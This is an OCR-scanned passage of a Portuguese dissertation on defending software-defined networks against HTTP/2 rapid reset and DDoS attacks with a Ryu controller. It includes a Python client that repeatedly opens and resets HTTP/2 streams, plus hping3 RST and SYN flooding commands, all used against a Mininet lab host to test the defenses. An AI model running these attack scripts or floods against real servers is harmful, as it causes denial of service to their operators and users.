90 except Exception as e:

91 self .logger.error (f"Error processing HTIP/2 frames: {e},
Connection ID: {connection_id}")

9 execution_time = time.time() — start_time # Calculate
execution time
o4 self .append_to_json_file("analise.json’, {"

HTTP2_RR_Execution_Time_Exeption": execution_time})

Listing 5.10: Script mitigacdo - http2 rapid reset
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5.3 Resumo

O capitulo 5 detalha a implementagdo de um ambiente de testes para detegdo e
mitigacdo de ataques cibernéticos, com um foco especial na mitigagdo de ataques
HTTP/2 rapid reset. Através de uma explicacdo abrangente das fun¢des e métodos
utilizados nos scripts Python, foram abordadas as técnicas praticas para a de-
tecdo e mitigagdo de ataques utilizando SDN. As funcionalidades de seguranca
implementadas concentram-se em métodos de bloqueio e limitacdo de tréfego,
assegurando a protecdo da rede contra diversas ameagas. Este capitulo fornece
uma visdo clara de como as tecnologias SDN, juntamente com ferramentas como
o Ryu, podem ser utilizadas para criar uma infraestrutura de rede robusta e resi-
liente, capaz de identificar e responder rapidamente a ataques cibernético
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Ambiente de Testes para Detecao e
Mitigacao de Ataques

Neste capitulo, abordaremos a criacdo de um ambiente de testes robusto e efi-
ciente para a dete¢do e mitigacdo de ameagas cibernéticas. O objetivo principal
é garantir elevados niveis de segurancga e resiliéncia na rede através de analise
em tempo real e gestdo adaptativa de ameacas. Vamos detalhar as ferramentas
utilizadas, a configuracdo do ambiente, e os testes realizados para validar as me-
todologias de seguranga implementadas.

6.1 Objetivo

O objetivo principal é criar uma estrutura robusta que garanta niveis elevados
de seguranga e resiliéncia na rede. Através da andlise em tempo real e da gestdo
adaptativa de ameacas, este sistema visa ser uma ferramenta crucial na luta con-
tra ameacas cibernéticas complexas, proporcionando um ambiente seguro para
operacOes de rede. A Figura 6.1 ilustra a topologia do sistema, destacando a in-
terconexao entre o controlador Ryu, o switch Mininet e os hosts , proporcionando
uma visdo clara de como os componentes se integram para formar uma defesa
coesa e eficiente.

6.2 Funcionalidades principais
Os requisitos funcionais, traduzem-se nas seguintes funcionalidades:

* Detecdo Avancada de botnets: Utiliza capacidades da SDN para monitori-
zagdo do trafego de rede em tempo real, detetando potenciais ameacas de
atividades de botnet.

* Mitigacao de DDoS: Utilizacado scripts Python para respostas dindmicas a
ameagas DDoS, garantindo tempo minimo de inatividade da rede.
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Host (Server Script) Host RYU Controller

Mininet

ﬁ—
3

Firewall

Host NAT Host Host - Client Script

Internet

Figura 6.1: Diagrama Sistema

* Prevencdo de Ataques rapid reset: Integra mecanismos de tltima geragdo
para prevenir interrupgdes causadas por inundacdes de pacotes rapid reset.!

¢ Politicas de Seguranca Personalizaveis: Oferece configuragdes flexiveis atra-

vés de uma interface intuitiva, permitindo aos utilizadores personalizar me-
didas de seguranca conforme suas necessidades. Por exemplo, os utilizado-
res podem definir regras especificas para filtrar trafego malicioso, ajustar os
niveis de sensibilidade dos algoritmos de detecdo de anomalias para mini-
mizar falsos positivos, e configurar alertas em tempo real para atividades
suspeitas. Além disso, é possivel integrar politicas de seguranga personali-
zadas que se adaptam automaticamente a mudancas no padrao de trafego
da rede. como por exemplo o numero de liga¢oes

6.3 Projeto Ryu Integrated Switch

O repositério contém o IntegratedSwitch, uma aplicagdo baseada no controlador
Ryu e projetada para gestdo de redes, incluindo funcionalidades como redireci-
onamento de pacotes, detecdo de DDoS, detecdo de ataques rapid reset e gestdo
do trafego usando OpenFlow na versdo 1.3. Este projeto é compativel com ferra-
mentas de simulagdo de rede como Mininet, facilitando os testes em ambientes
de rede simulados.

1A capacidade de adaptagdo dinamica e a resposta em tempo real sdo caracteristicas que os
diferenciam das solugdes tradicionais.
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6.4 Passo a passo

Os principais passos incluem:

1. Inicializacdo e Configuragdo, onde sdo feitas as necessdrias inicializa¢des
dos componentes de software

2. Gestdo de ligacdes dos Switches, onde se identifica o tipo de topologia, o
seu estado, as diversas ligac¢des, entre outros.

No primeiro passo sao realizadas as seguintes fases:

¢ Inicializar a aplicacdo com as varidveis necessdrias.

* Configurar o logging e as estruturas de dados.

No segundo passo a gestdo de ligagdes dos switches:

Detecdo de novas ligacdes de switches.

Instalacdo de fluxos para lidar com pacotes desconhecidos.

Instalagdo fluxos para bloquear trafego para portas em listas negras.

Gestdo desconexdes de switches.
O terceiro passo e final a manipula¢do de pacotes:

* Detecdo de tipos de pacotes (IP, TCP, etc.).
¢ Gestdo mapeamentos MAC-para-porta.
¢ Identificagdo e bloqueio de sites ou enderecos de ips em listas negras.

* Manipulacdo de tipos especificos de pacotes como IPv6, ARP ou protocolos
IP especificos, para facilitar a analise de l0gs.

Funcionalidades de seguranga

¢ Detecdo e manipulacdo de potenciais ataques DDoS: O script monitoriza o
trafego de rede em tempo real, utilizando contadores para registar o ntimero
de pacotes IP enviados por cada endereco IP de origem. Quando o ntiimero
de pacotes excede um limiar definido (por exemplo, 40 pacotes), o script
identifica essa atividade como um possivel ataque DDoS. Em resposta, o
script pode bloquear o enderego IP de origem ou aplicar outras medidas de
mitigacdo para proteger a rede.
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Detecao e manipulacao de rapid resets: O script rastreia pacotes TCP-RST
para identificar padrdes de trdfego anormais que indicam ataques de rapid
reset. Utilizando con’tadores e monitorizacdo de tempos, ele deteta ativi-
dades suspeitas, como multiplos resets em um curto periodo. Quando um
ataque é detetado, o script pode redirecionar o trafego suspeito para um
honeypot ou bloquear o endereco IP de origem para mitigar o ataque.

Bloqueio ou limitacdo do trafego suspeito: O script permite bloquear tra-
fego de fontes suspeitas ou limitar a largura de banda para certos tipos de
trafego. Utilizando regras de fluxo e medidores, o script pode aplicar a¢des
como descartar pacotes ou redirecionar o tradfego para um honeypot, bem
como limitar a taxa de transferéncia de dados para minimizar o impacto
dos ataques na rede.

Gestdo de fontes e portas bloqueadas: O script mantém uma lista de ende-
recos IP e portas bloqueadas, atualizando dinamicamente essas listas com
base em atividades suspeitas detetadas. Ele também gere as regras da fi-
rewall para garantir que o trdfego para portas criticas, como 21 e 23, seja
bloqueado automaticamente. Além disso, o script oferece funcionalidades
para registar e analisar eventos de bloqueio, permitindo ajustes continuos
nas politicas de seguranca.

Gestao de logs e regras

6.5

Atualizagdo das regras de firewall.

Registo de eventos e atualizagdes significativas.

Preliminares do desenvolvimento

6.5.1 Pré-requisitos

Python 3.5 ou superior
Framework Ryu 4.34
Mininet 2.3.0

Flask 3 ou superior
hping3 3.a2.ds2-10

iperf 3.xx-1
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6.5.2 Instalacao

Apoés a instalagdo de todos os requisitos, pode-se proceder a instalagdo da so-
lugdo. Para tal sugere-se a criagdo de uma ambiente Python para o desenvolvi-
mento.

Ambiente Python opcional

sudo apt install python3.9-venv
python -m venv /path/to/new/virtual/environment

5 source myvenv/bin/activate

Instalacdao do Ryu
pip install Ryu

Instala¢do do mininet

sudo apt install mininet

Instalacao do flask
pip install flask

Clonar o repositério

git clone https://github.com/paulopais/SDN_Project. git
cd Ryu-integrated —switch

6.6 Executando a aplicacao Ryu

Para iniciar o controlador Ryu:

Ryu-manager integrated_switch .py

Para iniciar o Flask:
sudo python3 gui.py

Para iniciar os arquivos py do Mininet:
sudo python3 mininet_rapidresettest.py

2

chmod +x mininet.sh
./ mininet.sh

6.7 Resumo

Em resumo, o Capitulo 6 fornece uma visdo de todas etapas e ferramentas ne-
cessdrias para criar um ambiente de testes eficaz para a detegdo e mitigacdo de

2Certifique-se de ter as permissdes necessarias para executar o script
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ameagas cibernéticas, destacando a importancia da seguranca adaptativa e a ges-
tdo em tempo real de incidentes de seguranca .
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Capitulo 7

Simulacao do ataque

7.1 Realizacao de ataques e detecao

Este capitulo descreve os tipos de testes realizados para detetar e mitigar ataques
no sistema de seguranca de rede, bem como a eficicia das metodologias imple-
mentadas. Os testes foram conduzidos com o objetivo de validar a robustez e a
eficiéncia do sistema em identificar e neutralizar ameacas cibernéticas.

Simulagdo de Ataques DDoS: Utilizando ferramentas como hping3, foram envia-
dos pacotes em massa para um tnico destino para o sobrecarregar.

Simulagdo de Ataques de rapid resets: Foram utilizados scripts para enviar pacotes
TCP com flags RST repetidamente.

Simulagdo de Scans: Foram realizados scans de portas utilizando pacotes SYN.

Simulagdo de Acesso a Sites e ips Bloqueados: Foram realizados testes de nave-
gacdo para sites/ips na lista de bloqueio.

Simulacdo de Ataques de HTTP/2 rapid reset: Utilizando o script do cliente que
é responsdvel por simular um ataque de rapid resets através de uma série de pe-
didos HTTP/2 e o script do servidor que é responsavel por receber os pedidos
HTTP/2 e enviar frames de reset como resposta, simulando um comportamento
de servidor vulneréavel.

7.1.1 Script do Cliente

O script do cliente é responsavel por simular um ataque de rapid resets através de
uma série de pedidos HTTP /2. Explicagdo do cédigo do cliente.

1 import socket

> import time

5 from h2.config import H2Configuration

+ from h2.connection import H2Connection

5 from h2.events import ResponseReceived, DataReceived, StreamReset,
StreamEnded

¢ import h2.exceptions
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7

s HOST = 710.0.0.5"

9 PORT = 8080

10

11 def send_http2_request(connection, stream_id):

12 headers = |

13 (’:method’”, 'GET"),

14 (’:authority’, f’{HOST}:{PORT}"),

15 (":scheme”’, "http’),

16 (":path”, /")

17 ]

18 connection .send_headers (stream_id , headers, end_stream=True)

19 return connection.data_to_send ()

21 def trigger_rapid_resets(connection, sock, stream_id):

2 for _ in range(10):

23 try:

2 data_to_send = send_http2_request(connection, stream_id)

25 sock.sendall (data_to_send)

2 time.sleep (0.1) # delay to simulate rr attacks

27 connection.reset_stream (stream_id) # RST_STREAM

28 sock.sendall (connection.data_to_send ())

29 stream_id += 2 # Next id

30 except Exception as e:

31 print (f "Error: {e}’)

32

53 def handle_http2_response(connection, conn):

34 while True:

35 try:

36 data = conn.recv(65535)

37 if not data:

38 break

39

10 events = connection.receive_data (data)

4 for event in events:

0 if isinstance (event, ResponseReceived):

43 print (f Received response on stream {event.
stream_id} ")

44 elif isinstance (event, DataReceived):

45 print (f "Received data on stream {event.stream_id}")

16 if event.stream_ended:

47 print (f 'Stream {event.stream_id} ended’)

48 connection .end_stream (event.stream_id) # Marca
o fim do fluxo

19 elif isinstance (event, StreamReset):

50 print (f "Stream {event.stream_id} was reset by the
server’)

51 elif isinstance (event, StreamEnded):

5 print (f 'Stream {event.stream_id} ended normally ")

53

54 conn.sendall (connection.data_to_send ())

5 except h2.exceptions.ProtocolError as e:

56 print (f '"HTTP/2 protocol error: {e}, error code: f{e.
error_code} )

57 break

58 except Exception as e:

59 print (f "Error processing HTIP/2 frames: {e}’)

60 break
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Simulag¢ao do ataque

def main () :
print (f "Attempting to connect to {HOST}:{PORT} ")

try:
sock = socket.socket(socket.AF_INET, socket.SOCK STREAM)
sock . connect ((HOST, PORT))
print (f’Connected to {HOST}:{PORT} ")
h2_config = H2Configuration(client_side=True)
h2_connection = H2Connection(config=h2_config)
h2_connection . initiate_connection ()
sock.sendall (h2_connection.data_to_send ())
stream_id = 1
trigger_rapid_resets (h2_connection, sock, stream_id)
handle_http2_response (h2_connection, sock)
sock. close ()

except ConnectionRefusedError as e:
print (f "Connection refused: {e}’)

except Exception as e:
print(f’ Error: {e}”)

if _name == ’'_main__":

main ()

Listing 7.1: Script cliente - http2 rapid reset

7.1.2 Script do servidor

O script do servidor é responsével por receber os pedidos HTTP/2 e enviar frames
de reset como resposta, simulando um comportamento de servidor vulnerédvel a
ataques rapid reset.

import socket

from h2.config import H2Configuration

from h2.connection import H2Connection

from h2.events import RequestReceived, DataReceived,
RemoteSettingsChanged , StreamReset

5 from h2.exceptions import NoSuchStreamError

6

7 HOST

"10.0.0.5"

s PORT = 8080

9

10

11

def send_reset_frame (connection, stream_id):

"nwoon

Send 1 reset frame to the client.

"o

try:
print (f 'Sending Reset — {stream_id} ")
connection.reset_stream (stream_id)
return connection.data_to_send ()
except NoSuchStreamError:

print (f"Attempted to reset a non-existent or closed stream: f{
stream_id}")
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return None

def handle_http2_connection (conn):

"nuon

New conenction HTTP2.

h2_config = H2Configuration(client_side=False)
h2_connection = H2Connection(config=h2_config)
h2_connection.initiate_connection ()

conn.sendall (h2_connection.data_to_send () )

while True:
try:
data = conn.recv(65535)
if not data:
break

events = h2_connection.receive_data (data)
for event in events:
if isinstance (event, RequestReceived):

print (f "Received request on stream {event.stream_id

1)

data_to_send = send_reset_frame (h2_connection,

event.stream_id)
if data_to_send:
conn.sendall (data_to_send)
elif isinstance (event, DataReceived):
if event.stream_ended:

h2_connection.end_stream (event.stream_id)
elif isinstance (event, RemoteSettingsChanged):

pass
elif isinstance(event, StreamReset):

print (f"Stream Reset Received for stream ID:

.stream_id}")

conn.sendall (h2_connection.data_to_send () )
except Exception as e:

print (f "Error processing HTIP/2 frames: {e}’)

break

conn. close ()

def main () :

if

__name__ == '__main__

sock = socket.socket(socket.AF INET, socket.SOCK STREAM)
sock.setsockopt (socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)

sock .bind ((HOST, PORT))
sock.listen (5)

print (f "Serving on http://{HOST}:{PORT} ")

while True:
conn, _ = sock.accept()
handle_http2_connection (conn)

7 7,

main ()

Listing 7.2: Script servidor - http2 rapid reset

62

{event



Simulag¢ao do ataque

7.1.3 Execucdo dos scripts
Para executar os scripts, siga os seguintes passos:

1. Inicie o servidor primeiro, executando o script do servidor.
2. Em seguida, execute o script do cliente para iniciar os ataques de rapid reset.
Execucao do Script do servidor

No terminal Mininet execute o seguinte comando:

hl python server_script.py &

Execucao do script do cliente
No mesmo terminal execute o seguinte comando:

h2 python client_script.py

714 Ataque RST-PORTS

O ataque "RST-PORTS"consiste em enviar pacotes RST para multiplas portas de
destino, simulando um ataque de rapid reset em varias portas simultaneamente.
Para realizar este ataque, utilizamos os seguintes comandos:

h3 hping3 -p 86 -c¢ 3 --rst 10.0.0.1 &
h3 hping3 -p 87 -c¢ 3 --rst 10.0.0.1 &
h3 hping3 -p 88 -c 3 --rst 10.0.0.1 &
h3 hping3 -p 89 -c¢ 3 --rst 10.0.0.1 &

Estes comandos enviam pacotes RST para as portas 86, 87, 88 e 89 do IP 10.0.0.1,
com trés pacotes por porta, simulando um ataque distribuido.

7.1.5 Ataque RST-COUNT

O ataque "RST-COUNT"foca em enviar um nimero elevado de pacotes RST para
uma tnica porta de destino, simulando um ataque de rapid reset. O comando
utilizado é:

h2 hping3 -p 81 -c 12 --rst 10.0.0.1
Este comando envia 12 pacotes RST para a porta 81 do IP 10.0.0.1, testando a ca-
pacidade do sistema em detetar e mitigar ataques rapidos e repetitivos na mesma

porta.
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71.6 Ataque RST-ACK

O ataque "RST-ACK"envolve o envio de pacotes com flags RST e ACK, que podem
ser usados para testar a resiliéncia do sistema contra pacotes de reset que também
confirmam a rececdo de dados. O comando utilizado é:

h2 hping3 -V -8 -p 70 10.0.0.1

Este comando envia pacotes TCP SYN para a porta 70 do IP 10.0.0.1 com verbose
mode ativado, simulando um cendrio onde pacotes maliciosos tentam estabelecer
e imediatamente cancelar as ligagdes.

7.1.7 Analise dos resultados

Os resultados dos ataques serdo registados e processados pelo controlador Ryu,
que utilizard os métodos implementados para detetar e mitigar os ataques. O
método detect_rapid_reset serd particularmente importante para identificar os
ataques rapid reset e tomar medidas apropriadas.

7.2 Resumo

Este capitulo detalhou os passos necessarios para realizar ataques rapid reset
e detetd-los utilizando os scripts de cliente e servidor fornecidos. Estes testes sdo
fundamentais para validar a eficdcia das metodologias de detecdo e mitigagdo
implementadas no controlador Ryu. As simulag¢des realizadas permitiram ava-
liar a robustez do sistema contra diferentes tipos de ataques, confirmando que
o controlador Ryu é capaz de identificar e mitigar ataques complexos de forma
eficiente. Cada comando hping3 foi projetado para testar uma parte especifica do
sistema, garantindo a detecdo e a mitigacdo eficazes das ameagcas cibernéticas.
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Andlise dos tempos de execucao dos
mecanismos de defesa

8.1 Introducao

Neste capitulo, analisamos os tempos de execugdo de varios mecanismos de de-
fesa implementados no nosso sistema de seguranca. Os dados foram recolhidos
a partir do ficheiro analise. json, que regista o tempo de execugdo de cada tipo
de mecanismo de defesa quando ocorrem eventos especificos na rede. Compre-
ender os tempos de execugdo € crucial para avaliar o desempenho e a eficiéncia
das nossas estratégias de defesa.

8.2 Funcionamento

Os tempos de execugdo sao medidos em segundos e sdo registados sempre que
um mecanismo de defesa é ativado. Estes tempos fornecem uma visdo sobre a
sobrecarga computacional associada a cada agdo de defesa, ajudando-nos a iden-
tificar possiveis congestionamentos e a otimizar o nosso sistema para um melhor
desempenho.

8.3 Resultados

O ficheiro analise. json contém os diversos tempos de execucdo para varios me-
canismos de defesa como podemos visualizar na figura 8.1:

e[

"DDOS": 0.0028471946716308594

6 "RST-PORTS_Execution_Time": 0.22593235969543457
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"HTTP2_RR_Execution_Time_Error": 0.00025773048400878906
"BlackList Execution Time": 0.2556948661804199
"RST-BADREP_Execution_Time": 0.4888155460357666
"RST-ACK_Execution_Time": 0.0011324882507324219
"RST-COUNT-HONEYPOT_Execution_Time": 0.0006833076477050781

"RST-COUNT-15_Execution_Time": 0.00010585784912109375

Listing 8.1: Tempos de mitigagdo

[ Execution Time (seconds)

050

045

040

035

030

0.05

DO RST,PQRTS_EXW_“"‘B mjﬁjxw'“““—““‘”—g"a BlackLstSies_EXec ion_Time et - BADREP_Execution \_Time RSTACK_E “’"M‘Tmmwm,nwiw OT_Exeo jtion_Time: STCOUNT15_Ex& stion_Time.

Figura 8.1: Tempos de mitigacdo de ataques

Para medir os tempos de cada estratégia de mitigagdo, utilizamos a fun¢do time.time ()
do Python para capturar o tempo que demorou a mitigacdo. Os dados regista-

dos foram armazenados em arquivos JSON, usando a fun¢do append_to_json_file

para andlise posterior.
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8.4 Anadlise

8.4.1 Detecdo de DDoS (DD0S)

* Tempo de execucdo: 0.00284 segundos

* O mecanismo de detecdo de DDOoS é altamente eficiente, com um tempo de
execugdo de aproximadamente 2.85 milissegundos. Esta resposta rédpida é
crucial para mitigar ataques em larga escala que podem sobrecarregar todo
nosso sistema.

8.4.2 Detecao de rapid reset utilizando diversas Portas

¢ Tempo de execucao: 0.225 segundos

* A detegdo de ataques de rapid reset em vérias portas demora aproximada-
mente 225.93 milissegundos. Este tempo relativamente mais alto indica um
processo de detegdo mais complexo.

8.4.3 Detecao de HTTP/2 rapid reset com Erro

¢ Tempo de execugdo: 0.000257 segundos

* O mecanismo de detecdo de HTTP/2 rapid reset, quando encontra erros, exe-
cuta em aproximadamente 0.26 milissegundos, indicando uma sobrecarga
minima.

8.4.4 Detecao de sites/ips na lista negra

¢ Tempo de Execucdo: 0.255 segundos

¢ O tempo de execugdo para a detecdo de trafego para sites/ips na lista ne-
gra é de cerca de 255.69 milissegundos. Este mecanismo envolve a inspegao
dos dados dos pacotes, o que se torna mais intensivo em termos de proces-
samento.

8.4.5 Detecdo de ma reputacao

¢ Tempo de Execucdo: 0.4888155460357666 segundos

* A detecdo de resets de fontes com mé reputagdo demora cerca de 488.82
milissegundos. Este tempo de execugdo mais alto resulta de ter que se ligar
a sistemas externos para realizar a verificagdo.
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8.4.6 Detecao de rapid reset com ACK

¢ Tempo de Execucao: 0.0011324882507324219 segundos

* A detecdo de rapid reset com flags ACK executa em aproximadamente 1.13
milissegundos, indicando um tempo de resposta rapido.

8.4.7 Detecdo de reset reencaminhando para o honeypot

¢ Tempo de Execucao: 0.0006833076477050781 segundos

¢ Este mecanismo, que redireciona o trafego para um honeypot para uma ins-
pecdo mais detalhada, executa em cerca de 0.68 milissegundos, mostrando
uma utilizagdo de processamento muito baixa.

8.4.8 Detecao de resets por tempo

¢ Tempo de execugao: 0.00010585784912109375 segundos

* A detecdo de resets frequentes num curto espago de tempo é extremamente
rdpida, com um tempo de execucdo de aproximadamente 0.11 milissegun-
dos.

8.5 Discussao

A andlise dos tempos de execugdo revela os seguintes pontos:

* Eficiéncia: A maioria dos mecanismos de defesa é executado muito rapi-
damente, dentro de poucos milissegundos, garantindo que ndo exista um
impacto significativo no desempenho.

¢ Complexidade: Mecanismos que envolvem verificagdes mais complexas,
como a pontuagdo de reputagdo ou a inspecdo de multiplas portas, apre-
sentam tempos de execugdo mais altos. Isto é esperado devido ao processa-
mento adicional necessério.

* Potencial de Otimizagdo: Os tempos de execugdo relativamente mais altos
para a detegdo de sites/ips na lista negra e resets de ma reputagdo suge-
rem dreas onde a otimizagdo pode ser benéfica. Técnicas como o cache de
resultados ou a simplificacdo das verificacdes podem reduzir estes tempos.

8.6 Resumo

Os mecanismos de defesa implementados no sistema de seguranga de rede apre-
sentam, em geral, tempos de execugdo baixos, assegurando uma resposta rapida
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a potenciais ameacas. No entanto, existem areas onde a otimizacdo pode me-
lhorar ainda mais o desempenho. A monitorizagdo continua e a andlise destes
tempos de execugdo ajudardo a manter um sistema de defesa eficiente e robusto
contra ameacas em evolugao.

Este capitulo proporciona uma compreensdo detalhada do desempenho dos me-
canismos de defesa, destacando seus pontos fortes e dreas para melhoria. Os in-
sights obtidos orientardo futuras melhorias para garantir que a rede se mantenha
segura e resiliente contra ameagas em constante evolugao.
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Conclusao

Esta dissertagdo apresenta uma abordagem inovadora e abrangente na drea da
ciberseguranca, focando-se na mitigacdo de ataques que exploram a vulnerabili-
dade HTTP/2 rapid reset em SDN. A pesquisa incluiu uma analise detalhada dos
conceitos fundamentais, bem como uma revisdo do estado da arte na detecao de
ataques origindrios de botnets, proporcionando uma base sélida para o desenvol-
vimento de estratégias eficazes de mitigagéo.

A interoperabilidade de algoritmos em ambientes SDN mostrou-se essencial, per-
mitindo a aplicagdo de solugdes de seguranca adaptédveis e dindmicas em redes
complexas.

No ambito pratico, implementdmos e testdmos diversos mecanismos de defesa
no controlador Ryu, avaliando os seus tempos de execugdo e a eficdcia na detegdo
e mitigagdo de ataques. Os resultados mostraram que a maioria dos mecanismos
de defesa tem tempos de execucgdo baixos, assegurando uma resposta rapida a
potenciais ameagas. Identificaram-se, no entanto, dreas para otimizagao, particu-
larmente nos mecanismos de detecdo de sites na lista negra e na API de reputa-
¢do, onde a utilizacdo de cache de resultados ou a simplificacdo das verificagdes
poderiam reduzir os tempos de execugdo.

A implementacdo de algoritmos que ndo apenas detetam, mas também respon-
dem proativamente a ameagas, mostrou ser essencial para a criagdo de sistemas
de seguranca robustos. Esta abordagem permite nado s6 a identificacdo de ativi-
dades maliciosas, mas também a implementacdo imediata de medidas defensivas
para prevenir danos e garantir a integridade do sistema.

Este trabalho contribui significativamente para o campo da ciberseguranca ao
explorar a vulnerabilidade HTTP/2 rapid reset e propor solugdes préticas para a
sua mitigacdo.A andlise continua dos tempos de execuc¢do dos mecanismos de
defesa sdo fundamentais para manter um sistema de defesa eficiente e robusto
contra ameacas em evolugao.

Futuramente, espera-se que este projeto estabeleca novos padrdes na seguranca
de redes, possibilitando o desenvolvimento de ferramentas avancadas de registo
e andlise de dados em SDN. A capacidade de monitorizar e registar o trafego de
rede em vérios pontos, integrada com sistemas de dete¢do de anomalias, melho-
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rard a precisdo na identificagdo de padrdes de trafego de botnets. Além disso, a
criacdo de um IPS especifico para mitigar ataques HTTP/2 rapid reset, utilizando
a linguagem Python e o controlador Ryu, representa um avango significativo na
protecdo contra ameacas cibernéticas emergentes.

Em conclusdo, esta dissertacdo ndo s6 oferece uma solugdo robusta para a mi-
tigacdo de ataques HTTP/2 rapid reset, mas também abre caminho para futuras
pesquisas e desenvolvimentos na drea da ciberseguranca, garantindo redes mais
seguras.
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